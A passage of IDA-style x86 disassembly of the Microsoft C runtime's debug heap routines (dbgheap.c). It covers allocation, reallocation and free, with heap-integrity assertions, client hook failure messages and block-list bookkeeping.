dword_44FEE0 and eax, 4 test eax, eax jz short loc_41EF2C loc_41EEFC: ; CODE XREF: sub_41EEE0+4Aj call sub_420130 test eax, eax jnz short loc_41EF26 push offset a_crtcheckmemor ; "_CrtCheckMemory()" push 0 push 14Ch push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_41EF26 int 3 ; Trap to Debugger loc_41EF26: ; CODE XREF: sub_41EEE0+23j ; sub_41EEE0+43j xor ecx, ecx test ecx, ecx jnz short loc_41EEFC loc_41EF2C: ; CODE XREF: sub_41EEE0+1Aj mov edx, dword_44FEE4 mov [ebp+var_8], edx mov eax, [ebp+var_8] cmp eax, dword_44FEE8 jnz short loc_41EF41 int 3 ; Trap to Debugger loc_41EF41: ; CODE XREF: sub_41EEE0+5Ej mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+var_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx push 0 push 1 call off_4502B0 add esp, 1Ch test eax, eax jnz short loc_41EFC4 cmp [ebp+arg_8], 0 jz short loc_41EF97 loc_41EF6C: ; CODE XREF: sub_41EEE0+B3j mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx push offset aClientHookAllo ; "Client hook allocation failure at file "... push 0 push 0 push 0 push 0 call sub_424D20 add esp, 1Ch cmp eax, 1 jnz short loc_41EF8F int 3 ; Trap to Debugger loc_41EF8F: ; CODE XREF: sub_41EEE0+ACj xor edx, edx test edx, edx jnz short loc_41EF6C jmp short loc_41EFBD ; --------------------------------------------------------------------------- loc_41EF97: ; CODE XREF: sub_41EEE0+8Aj ; sub_41EEE0+DBj push offset aClientHookAl_0 ; "Client hook allocation failure.\n" push offset aS_26 ; "%s" push 0 push 0 push 0 push 0 call sub_424D20 add esp, 18h cmp eax, 1 jnz short loc_41EFB7 int 3 ; Trap to Debugger loc_41EFB7: ; CODE XREF: sub_41EEE0+D4j xor eax, eax test eax, eax jnz short loc_41EF97 loc_41EFBD: ; CODE XREF: sub_41EEE0+B5j xor eax, eax jmp loc_41F1EC ; --------------------------------------------------------------------------- loc_41EFC4: ; CODE XREF: sub_41EEE0+84j mov ecx, [ebp+arg_4] and ecx, 0FFFFh cmp ecx, 2 jz short loc_41EFE6 mov edx, dword_44FEE0 and edx, 1 test edx, edx jnz short loc_41EFE6 mov [ebp+var_C], 1 loc_41EFE6: ; CODE XREF: sub_41EEE0+F0j ; sub_41EEE0+FDj cmp [ebp+arg_0], 0FFFFFFE0h ja short loc_41EFF7 mov eax, [ebp+arg_0] add eax, 24h cmp eax, 0FFFFFFE0h jbe short loc_41F023 loc_41EFF7: ; CODE XREF: sub_41EEE0+10Aj ; sub_41EEE0+13Aj mov ecx, [ebp+arg_0] push ecx push offset aInvalidAllocat ; "Invalid allocation size: %u bytes.\n" push 0 push 0 push 0 push 1 call sub_424D20 add esp, 18h cmp eax, 1 jnz short loc_41F016 int 3 ; Trap to Debugger loc_41F016: ; CODE XREF: sub_41EEE0+133j xor edx, edx test edx, edx jnz short loc_41EFF7 xor eax, eax jmp loc_41F1EC ; --------------------------------------------------------------------------- loc_41F023: ; CODE XREF: sub_41EEE0+115j mov eax, [ebp+arg_4] and eax, 0FFFFh cmp eax, 4 jz short loc_41F070 cmp [ebp+arg_4], 1 jz short loc_41F070 mov ecx, [ebp+arg_4] and ecx, 0FFFFh cmp ecx, 2 jz short loc_41F070 cmp [ebp+arg_4], 3 jz short loc_41F070 loc_41F04A: ; CODE XREF: sub_41EEE0+18Ej push offset aErrorMemoryAll ; "Error: memory allocation: bad memory bl"... push offset aS_26 ; "%s" push 0 push 0 push 0 push 1 call sub_424D20 add esp, 18h cmp eax, 1 jnz short loc_41F06A int 3 ; Trap to Debugger loc_41F06A: ; CODE XREF: sub_41EEE0+187j xor edx, edx test edx, edx jnz short loc_41F04A loc_41F070: ; CODE XREF: sub_41EEE0+14Ej ; sub_41EEE0+154j ... mov eax, [ebp+arg_0] add eax, 24h mov [ebp+var_10], eax mov ecx, [ebp+var_10] push ecx call sub_425BD0 add esp, 4 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41F095 xor eax, eax jmp loc_41F1EC ; --------------------------------------------------------------------------- loc_41F095: ; CODE XREF: sub_41EEE0+1ACj mov edx, dword_44FEE4 add edx, 1 mov dword_44FEE4, edx cmp [ebp+var_C], 0 jz short loc_41F0F3 mov eax, [ebp+var_4] mov dword ptr [eax], 0 mov ecx, [ebp+var_4] mov dword ptr [ecx+4], 0 mov edx, [ebp+var_4] mov dword ptr [edx+8], 0 mov eax, [ebp+var_4] mov dword ptr [eax+0Ch], 0FEDCBABCh mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov [ecx+10h], edx mov eax, [ebp+var_4] mov dword ptr [eax+14h], 3 mov ecx, [ebp+var_4] mov dword ptr [ecx+18h], 0 jmp loc_41F193 ; --------------------------------------------------------------------------- loc_41F0F3: ; CODE XREF: sub_41EEE0+1C8j mov edx, dword_4E91E4 add edx, [ebp+arg_0] mov dword_4E91E4, edx mov eax, dword_4E91EC add eax, [ebp+arg_0] mov dword_4E91EC, eax mov ecx, dword_4E91EC cmp ecx, dword_4E91F0 jbe short loc_41F129 mov edx, dword_4E91EC mov dword_4E91F0, edx loc_41F129: ; CODE XREF: sub_41EEE0+23Bj cmp dword_4E91E8, 0 jz short loc_41F13F mov eax, dword_4E91E8 mov ecx, [ebp+var_4] mov [eax+4], ecx jmp short loc_41F148 ; --------------------------------------------------------------------------- loc_41F13F: ; CODE XREF: sub_41EEE0+250j mov edx, [ebp+var_4] mov dword_4E91E0, edx loc_41F148: ; CODE XREF: sub_41EEE0+25Dj mov eax, [ebp+var_4] mov ecx, dword_4E91E8 mov [eax], ecx mov edx, [ebp+var_4] mov dword ptr [edx+4], 0 mov eax, [ebp+var_4] mov ecx, [ebp+arg_8] mov [eax+8], ecx mov edx, [ebp+var_4] mov eax, [ebp+arg_C] mov [edx+0Ch], eax mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov [ecx+10h], edx mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov [eax+14h], ecx mov edx, [ebp+var_4] mov eax, [ebp+var_8] mov [edx+18h], eax mov ecx, [ebp+var_4] mov dword_4E91E8, ecx loc_41F193: ; CODE XREF: sub_41EEE0+20Ej push 4 xor edx, edx mov dl, byte_44FEEC push edx mov eax, [ebp+var_4] add eax, 1Ch push eax call sub_421410 add esp, 0Ch push 4 xor ecx, ecx mov cl, byte_44FEEC push ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_4] lea ecx, [eax+edx+20h] push ecx call sub_421410 add esp, 0Ch mov edx, [ebp+arg_0] push edx xor eax, eax mov al, byte_44FEEE push eax mov ecx, [ebp+var_4] add ecx, 20h push ecx call sub_421410 add esp, 0Ch mov eax, [ebp+var_4] add eax, 20h loc_41F1EC: ; CODE XREF: sub_41EEE0+DFj ; sub_41EEE0+13Ej ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41EEE0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push 0 push 0 push 1 mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx call sub_41F230 add esp, 14h mov [ebp-4], eax mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F230 proc near ; CODE XREF: .XComp0:0041F212p ; sub_4249E0+40p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] imul eax, [ebp+arg_0] mov [ebp+arg_4], eax mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx call sub_41EDD0 add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_41F289 mov edx, [ebp+var_8] mov [ebp+var_C], edx mov eax, [ebp+var_C] add eax, [ebp+arg_4] mov [ebp+var_4], eax loc_41F270: ; CODE XREF: sub_41F230+57j mov ecx, [ebp+var_C] cmp ecx, [ebp+var_4] jnb short loc_41F289 mov edx, [ebp+var_C] mov byte ptr [edx], 0 mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_41F270 ; --------------------------------------------------------------------------- loc_41F289: ; CODE XREF: sub_41F230+2Fj ; sub_41F230+46j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_41F230 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F290 proc near ; CODE XREF: .XComp0:00401136p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push 0 push 0 push 1 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_41F2C0 add esp, 14h mov [ebp+var_4], eax mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_41F290 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F2C0 proc near ; CODE XREF: sub_41F290+12p ; sub_423BB0+50p ... var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h ; FUNCTION CHUNK AT 0041F32E SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43E5C0 push offset sub_425A74 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFF4h push ebx push esi push edi push 9 call sub_425990 add esp, 4 mov [ebp+var_4], 0 push 1 mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_41F350 add esp, 18h mov [ebp+var_1C], eax mov [ebp+var_4], 0FFFFFFFFh call sub_41F323 jmp short loc_41F32E sub_41F2C0 endp ; =============== S U B R O U T I N E ======================================= sub_41F323 proc near ; CODE XREF: sub_41F2C0+5Cp ; DATA XREF: .XComp0:0043E5C8o push 9 call sub_425A30 add esp, 4 retn sub_41F323 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41F2C0 loc_41F32E: ; CODE XREF: sub_41F2C0+61j mov eax, [ebp+var_1C] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_41F2C0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F350 proc near ; CODE XREF: sub_41F2C0+4Ap ; sub_41F8A0+4Ap var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi mov [ebp+var_14], 0 cmp [ebp+arg_0], 0 jnz short loc_41F383 mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax call sub_41EDD0 add esp, 10h jmp loc_41F85A ; --------------------------------------------------------------------------- loc_41F383: ; CODE XREF: sub_41F350+14j cmp [ebp+arg_14], 0 jz short loc_41F3A6 cmp [ebp+arg_4], 0 jnz short loc_41F3A6 mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_0] push edx call sub_41F970 add esp, 8 xor eax, eax jmp loc_41F85A ; --------------------------------------------------------------------------- loc_41F3A6: ; CODE XREF: sub_41F350+37j ; sub_41F350+3Dj mov eax, dword_44FEE0 and eax, 4 test eax, eax jz short loc_41F3E2 loc_41F3B2: ; CODE XREF: sub_41F350+90j call sub_420130 test eax, eax jnz short loc_41F3DC push offset a_crtcheckmemor ; "_CrtCheckMemory()" push 0 push 246h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_41F3DC int 3 ; Trap to Debugger loc_41F3DC: ; CODE XREF: sub_41F350+69j ; sub_41F350+89j xor ecx, ecx test ecx, ecx jnz short loc_41F3B2 loc_41F3E2: ; CODE XREF: sub_41F350+60j mov edx, dword_44FEE4 mov [ebp+var_10], edx mov eax, [ebp+var_10] cmp eax, dword_44FEE8 jnz short loc_41F3F7 int 3 ; Trap to Debugger loc_41F3F7: ; CODE XREF: sub_41F350+A4j mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+var_10] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax push 2 call off_4502B0 add esp, 1Ch test eax, eax jnz short loc_41F47C cmp [ebp+arg_C], 0 jz short loc_41F44F loc_41F424: ; CODE XREF: sub_41F350+FBj mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx push offset aClientHookReAl ; "Client hook re-allocation failure at fi"... push 0 push 0 push 0 push 0 call sub_424D20 add esp, 1Ch cmp eax, 1 jnz short loc_41F447 int 3 ; Trap to Debugger loc_41F447: ; CODE XREF: sub_41F350+F4j xor eax, eax test eax, eax jnz short loc_41F424 jmp short loc_41F475 ; --------------------------------------------------------------------------- loc_41F44F: ; CODE XREF: sub_41F350+D2j ; sub_41F350+123j push offset aClientHookRe_0 ; "Client hook re-allocation failure.\n" push offset aS_26 ; "%s" push 0 push 0 push 0 push 0 call sub_424D20 add esp, 18h cmp eax, 1 jnz short loc_41F46F int 3 ; Trap to Debugger loc_41F46F: ; CODE XREF: sub_41F350+11Cj xor ecx, ecx test ecx, ecx jnz short loc_41F44F loc_41F475: ; CODE XREF: sub_41F350+FDj xor eax, eax jmp loc_41F85A ; --------------------------------------------------------------------------- loc_41F47C: ; CODE XREF: sub_41F350+CCj cmp [ebp+arg_4], 0FFFFFFDBh jbe short loc_41F4AE loc_41F482: ; CODE XREF: sub_41F350+155j mov edx, [ebp+arg_4] push edx push offset aAllocationTooL ; "Allocation too large or negative: %u by"... push 0 push 0 push 0 push 1 call sub_424D20 add esp, 18h cmp eax, 1 jnz short loc_41F4A1 int 3 ; Trap to Debugger loc_41F4A1: ; CODE XREF: sub_41F350+14Ej xor eax, eax test eax, eax jnz short loc_41F482 xor eax, eax jmp loc_41F85A ; --------------------------------------------------------------------------- loc_41F4AE: ; CODE XREF: sub_41F350+130j cmp [ebp+arg_8], 1 jz short loc_41F4F6 mov ecx, [ebp+arg_8] and ecx, 0FFFFh cmp ecx, 4 jz short loc_41F4F6 mov edx, [ebp+arg_8] and edx, 0FFFFh cmp edx, 2 jz short loc_41F4F6 loc_41F4D0: ; CODE XREF: sub_41F350+1A4j push offset aErrorMemoryAll ; "Error: memory allocation: bad memory bl"... push offset aS_26 ; "%s" push 0 push 0 push 0 push 1 call sub_424D20 add esp, 18h cmp eax, 1 jnz short loc_41F4F0 int 3 ; Trap to Debugger loc_41F4F0: ; CODE XREF: sub_41F350+19Dj xor eax, eax test eax, eax jnz short loc_41F4D0 loc_41F4F6: ; CODE XREF: sub_41F350+162j ; sub_41F350+170j ... mov ecx, [ebp+arg_0] push ecx call sub_420610 add esp, 4 test eax, eax jnz short loc_41F527 push offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)" push 0 push 26Eh push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_41F527 int 3 ; Trap to Debugger loc_41F527: ; CODE XREF: sub_41F350+1B4j ; sub_41F350+1D4j xor edx, edx test edx, edx jnz short loc_41F4F6 mov eax, [ebp+arg_0] sub eax, 20h mov [ebp+var_8], eax mov ecx, [ebp+var_8] cmp dword ptr [ecx+14h], 3 jnz short loc_41F546 mov [ebp+var_14], 1 loc_41F546: ; CODE XREF: sub_41F350+1EDj cmp [ebp+var_14], 0 jz short loc_41F58A loc_41F54C: ; CODE XREF: sub_41F350+236j mov edx, [ebp+var_8] cmp dword ptr [edx+0Ch], 0FEDCBABCh jnz short loc_41F561 mov eax, [ebp+var_8] cmp dword ptr [eax+18h], 0 jz short loc_41F582 loc_41F561: ; CODE XREF: sub_41F350+206j push offset aPoldblockNline ; "pOldBlock->nLine == IGNORE_LINE && pOld"... push 0 push 278h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_41F582 int 3 ; Trap to Debugger loc_41F582: ; CODE XREF: sub_41F350+20Fj ; sub_41F350+22Fj xor ecx, ecx test ecx, ecx jnz short loc_41F54C jmp short loc_41F5EE ; --------------------------------------------------------------------------- loc_41F58A: ; CODE XREF: sub_41F350+1FAj mov edx, [ebp+var_8] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 2 jnz short loc_41F5AF mov ecx, [ebp+arg_8] and ecx, 0FFFFh cmp ecx, 1 jnz short loc_41F5AF mov [ebp+arg_8], 2 loc_41F5AF: ; CODE XREF: sub_41F350+248j ; sub_41F350+256j ... mov edx, [ebp+var_8] mov eax, [edx+14h] and eax, 0FFFFh mov ecx, [ebp+arg_8] and ecx, 0FFFFh cmp eax, ecx jz short loc_41F5E8 push offset a_block_typePol ; "_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLO"... push 0 push 27Fh push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_41F5E8 int 3 ; Trap to Debugger loc_41F5E8: ; CODE XREF: sub_41F350+275j ; sub_41F350+295j xor edx, edx test edx, edx jnz short loc_41F5AF loc_41F5EE: ; CODE XREF: sub_41F350+238j cmp [ebp+arg_14], 0 jz short loc_41F619 mov eax, [ebp+arg_4] add eax, 24h push eax mov ecx, [ebp+var_8] push ecx call sub_425F40 add esp, 8 mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_41F617 xor eax, eax jmp loc_41F85A ; --------------------------------------------------------------------------- loc_41F617: ; CODE XREF: sub_41F350+2BEj jmp short loc_41F63C ; --------------------------------------------------------------------------- loc_41F619: ; CODE XREF: sub_41F350+2A2j mov edx, [ebp+arg_4] add edx, 24h push edx mov eax, [ebp+var_8] push eax call sub_425D30 add esp, 8 mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_41F63C xor eax, eax jmp loc_41F85A ; --------------------------------------------------------------------------- loc_41F63C: ; CODE XREF: sub_41F350:loc_41F617j ; sub_41F350+2E3j mov ecx, dword_44FEE4 add ecx, 1 mov dword_44FEE4, ecx cmp [ebp+var_14], 0 jnz short loc_41F6A7 mov edx, [ebp+var_C] mov eax, dword_4E91E4 sub eax, [edx+10h] mov dword_4E91E4, eax mov ecx, dword_4E91E4 add ecx, [ebp+arg_4] mov dword_4E91E4, ecx mov edx, [ebp+var_C] mov eax, dword_4E91EC sub eax, [edx+10h] mov dword_4E91EC, eax mov ecx, dword_4E91EC add ecx, [ebp+arg_4] mov dword_4E91EC, ecx mov edx, dword_4E91EC cmp edx, dword_4E91F0 jbe short loc_41F6A7 mov eax, dword_4E91EC mov dword_4E91F0, eax loc_41F6A7: ; CODE XREF: sub_41F350+2FFj ; sub_41F350+34Bj mov ecx, [ebp+var_C] add ecx, 20h mov [ebp+var_4], ecx mov edx, [ebp+var_C] mov eax, [ebp+arg_4] cmp eax, [edx+10h] jbe short loc_41F6DF mov ecx, [ebp+var_C] mov edx, [ebp+arg_4] sub edx, [ecx+10h] push edx xor eax, eax mov al, byte_44FEEE push eax mov ecx, [ebp+var_C] mov edx, [ebp+var_4] add edx, [ecx+10h] push edx call sub_421410 add esp, 0Ch loc_41F6DF: ; CODE XREF: sub_41F350+369j push 4 xor eax, eax mov al, byte_44FEEC push eax mov ecx, [ebp+var_4] add ecx, [ebp+arg_4] push ecx call sub_421410 add esp, 0Ch cmp [ebp+var_14], 0 jnz short loc_41F719 mov edx, [ebp+var_C] mov eax, [ebp+arg_C] mov [edx+8], eax mov ecx, [ebp+var_C] mov edx, [ebp+arg_10] mov [ecx+0Ch], edx mov eax, [ebp+var_C] mov ecx, [ebp+var_10] mov [eax+18h], ecx loc_41F719: ; CODE XREF: sub_41F350+3ACj mov edx, [ebp+var_C] mov eax, [ebp+arg_4] mov [edx+10h], eax loc_41F722: ; CODE XREF: sub_41F350+40Bj cmp [ebp+arg_14], 0 jnz short loc_41F757 cmp [ebp+arg_14], 0 jnz short loc_41F736 mov ecx, [ebp+var_C] cmp ecx, [ebp+var_8] jz short loc_41F757 loc_41F736: ; CODE XREF: sub_41F350+3DCj push offset aFreallocFreall ; "fRealloc || (!fRealloc && pNewBlock == "... push 0 push 2B5h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_41F757 int 3 ; Trap to Debugger loc_41F757: ; CODE XREF: sub_41F350+3D6j ; sub_41F350+3E4j ... xor edx, edx test edx, edx jnz short loc_41F722 mov eax, [ebp+var_C] cmp eax, [ebp+var_8] jz short loc_41F76B cmp [ebp+var_14], 0 jz short loc_41F773 loc_41F76B: ; CODE XREF: sub_41F350+413j mov eax, [ebp+var_4] jmp loc_41F85A ; --------------------------------------------------------------------------- loc_41F773: ; CODE XREF: sub_41F350+419j mov ecx, [ebp+var_C] cmp dword ptr [ecx], 0 jz short loc_41F78B mov edx, [ebp+var_C] mov eax, [edx] mov ecx, [ebp+var_C] mov edx, [ecx+4] mov [eax+4], edx jmp short loc_41F7C7 ; --------------------------------------------------------------------------- loc_41F78B: ; CODE XREF: sub_41F350+429j ; sub_41F350+46Aj mov eax, dword_4E91E0 cmp eax, [ebp+var_8] jz short loc_41F7B6 push offset a_plastblockPol ; "_pLastBlock == pOldBlock" push 0 push 2C4h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_41F7B6 int 3 ; Trap to Debugger loc_41F7B6: ; CODE XREF: sub_41F350+443j ; sub_41F350+463j xor ecx, ecx test ecx, ecx jnz short loc_41F78B mov edx, [ebp+var_C] mov eax, [edx+4] mov dword_4E91E0, eax loc_41F7C7: ; CODE XREF: sub_41F350+439j mov ecx, [ebp+var_C] cmp dword ptr [ecx+4], 0 jz short loc_41F7DF mov edx, [ebp+var_C] mov eax, [edx+4] mov ecx, [ebp+var_C] mov edx, [ecx] mov [eax], edx jmp short loc_41F81A ; --------------------------------------------------------------------------- loc_41F7DF: ; CODE XREF: sub_41F350+47Ej ; sub_41F350+4BEj mov eax, dword_4E91E8 cmp eax, [ebp+var_8] jz short loc_41F80A push offset a_pfirstblockPo ; "_pFirstBlock == pOldBlock" push 0 push 2CFh push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_41F80A int 3 ; Trap to Debugger loc_41F80A: ; CODE XREF: sub_41F350+497j ; sub_41F350+4B7j xor ecx, ecx test ecx, ecx jnz short loc_41F7DF mov edx, [ebp+var_C] mov eax, [edx] mov dword_4E91E8, eax loc_41F81A: ; CODE XREF: sub_41F350+48Dj cmp dword_4E91E8, 0 jz short loc_41F831 mov ecx, dword_4E91E8 mov edx, [ebp+var_C] mov [ecx+4], edx jmp short loc_41F839 ; --------------------------------------------------------------------------- loc_41F831: ; CODE XREF: sub_41F350+4D1j mov eax, [ebp+var_C] mov dword_4E91E0, eax loc_41F839: ; CODE XREF: sub_41F350+4DFj mov ecx, [ebp+var_C] mov edx, dword_4E91E8 mov [ecx], edx mov eax, [ebp+var_C] mov dword ptr [eax+4], 0 mov ecx, [ebp+var_C] mov dword_4E91E8, ecx mov eax, [ebp+var_4] loc_41F85A: ; CODE XREF: sub_41F350+2Ej ; sub_41F350+51j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41F350 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push 0 push 0 push 1 mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx call sub_41F8A0 add esp, 14h mov [ebp-4], eax mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F8A0 proc near ; CODE XREF: .XComp0:0041F882p var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h ; FUNCTION CHUNK AT 0041F90E SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43E770 push offset sub_425A74 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFF4h push ebx push esi push edi push 9 call sub_425990 add esp, 4 mov [ebp+var_4], 0 push 0 mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_41F350 add esp, 18h mov [ebp+var_1C], eax mov [ebp+var_4], 0FFFFFFFFh call sub_41F903 jmp short loc_41F90E sub_41F8A0 endp ; =============== S U B R O U T I N E ======================================= sub_41F903 proc near ; CODE XREF: sub_41F8A0+5Cp ; DATA XREF: .XComp0:0043E778o push 9 call sub_425A30 add esp, 4 retn sub_41F903 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41F8A0 loc_41F90E: ; CODE XREF: sub_41F8A0+61j mov eax, [ebp+var_1C] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_41F8A0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F930 proc near ; CODE XREF: .XComp0:0040117Bp ; sub_40C6CF+194p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 1 mov eax, [ebp+arg_0] push eax call sub_41F970 add esp, 8 pop ebp retn sub_41F930 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 mov eax, [ebp+8] push eax call sub_41F9E0 add esp, 8 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F970 proc near ; CODE XREF: sub_41ECE0+98p ; sub_41F350+47p ... var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 0041F9CD SIZE 00000011 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43E780 push offset sub_425A74 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi push edi push 9 call sub_425990 add esp, 4 mov [ebp+var_4], 0 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_41F9E0 add esp, 8 mov [ebp+var_4], 0FFFFFFFFh call sub_41F9C2 jmp short loc_41F9CD sub_41F970 endp ; =============== S U B R O U T I N E ======================================= sub_41F9C2 proc near ; CODE XREF: sub_41F970+4Bp push 9 call sub_425A30 add esp, 4 retn sub_41F9C2 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41F970 loc_41F9CD: ; CODE XREF: sub_41F970+50j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_41F970 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F9E0 proc near ; CODE XREF: .XComp0:0041F959p ; sub_41F970+3Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, dword_44FEE0 and eax, 4 test eax, eax jz short loc_41FA23 loc_41F9F3: ; CODE XREF: sub_41F9E0+41j call sub_420130 test eax, eax jnz short loc_41FA1D push offset a_crtcheckmemor ; "_CrtCheckMemory()" push 0 push 402h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_41FA1D int 3 ; Trap to Debugger loc_41FA1D: ; CODE XREF: sub_41F9E0+1Aj ; sub_41F9E0+3Aj xor ecx, ecx test ecx, ecx jnz short loc_41F9F3 loc_41FA23: ; CODE XREF: sub_41F9E0+11j cmp [ebp+arg_0], 0 jnz short loc_41FA2E jmp loc_41FDC5 ; --------------------------------------------------------------------------- loc_41FA2E: ; CODE XREF: sub_41F9E0+47j push 0 push 0 push 0 mov edx, [ebp+arg_4] push edx push 0 mov eax, [ebp+arg_0] push eax push 3 call off_4502B0 add esp, 1Ch test eax, eax jnz short loc_41FA78 loc_41FA4D: ; CODE XREF: sub_41F9E0+91j push offset aClientHookFree ; "Client hook free failure.\n" push offset aS_26 ; "%s" push 0 push 0 push 0 push 0 call sub_424D20 add esp, 18h cmp eax, 1 jnz short loc_41FA6D int 3 ; Trap to Debugger loc_41FA6D: ; CODE XREF: sub_41F9E0+8Aj xor ecx, ecx test ecx, ecx jnz short loc_41FA4D jmp loc_41FDC5 ; --------------------------------------------------------------------------- loc_41FA78: ; CODE XREF: sub_41F9E0+6Bj ; sub_41F9E0+CDj mov 